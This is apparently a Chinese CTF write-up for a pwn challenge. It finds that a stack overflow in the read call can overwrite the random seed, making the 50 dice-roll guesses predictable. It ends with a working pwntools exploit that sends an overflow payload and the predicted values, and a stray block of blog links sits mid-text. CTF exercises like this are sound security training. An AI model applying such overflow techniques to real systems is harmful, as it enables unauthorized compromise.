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1.题目下载地址题目下载地址

点击下载

2.checksec

没有canary，可能是简单的栈溢出

3.IDA分析分析

https://blog.csdn.net/MrTreebook
https://blog.csdn.net/mrtreebook/category_11421179.html
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/MrTreebook/article/details/122013175
https://blog.csdn.net/mrtreebook/category_11421179.html
https://www.lanzouw.com/iWfJdxqgyyd


在sub_A20()中可以看出v2是一个通过种子生成的 1~6 的 随机数
之前有做过类似的题，只要控制种子即可预测随机数

在read函数处有栈溢出的漏洞

在下面看到需要连续答对50次才可以获取flag
那么我们构造的思路就是利用这个溢出点覆盖seed从而预测随机数

4.exp



from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
    sh.recvuntil('Give me the point(1~6): ')
    sh.sendline(str(libc.rand()%6+1))

sh.recv()
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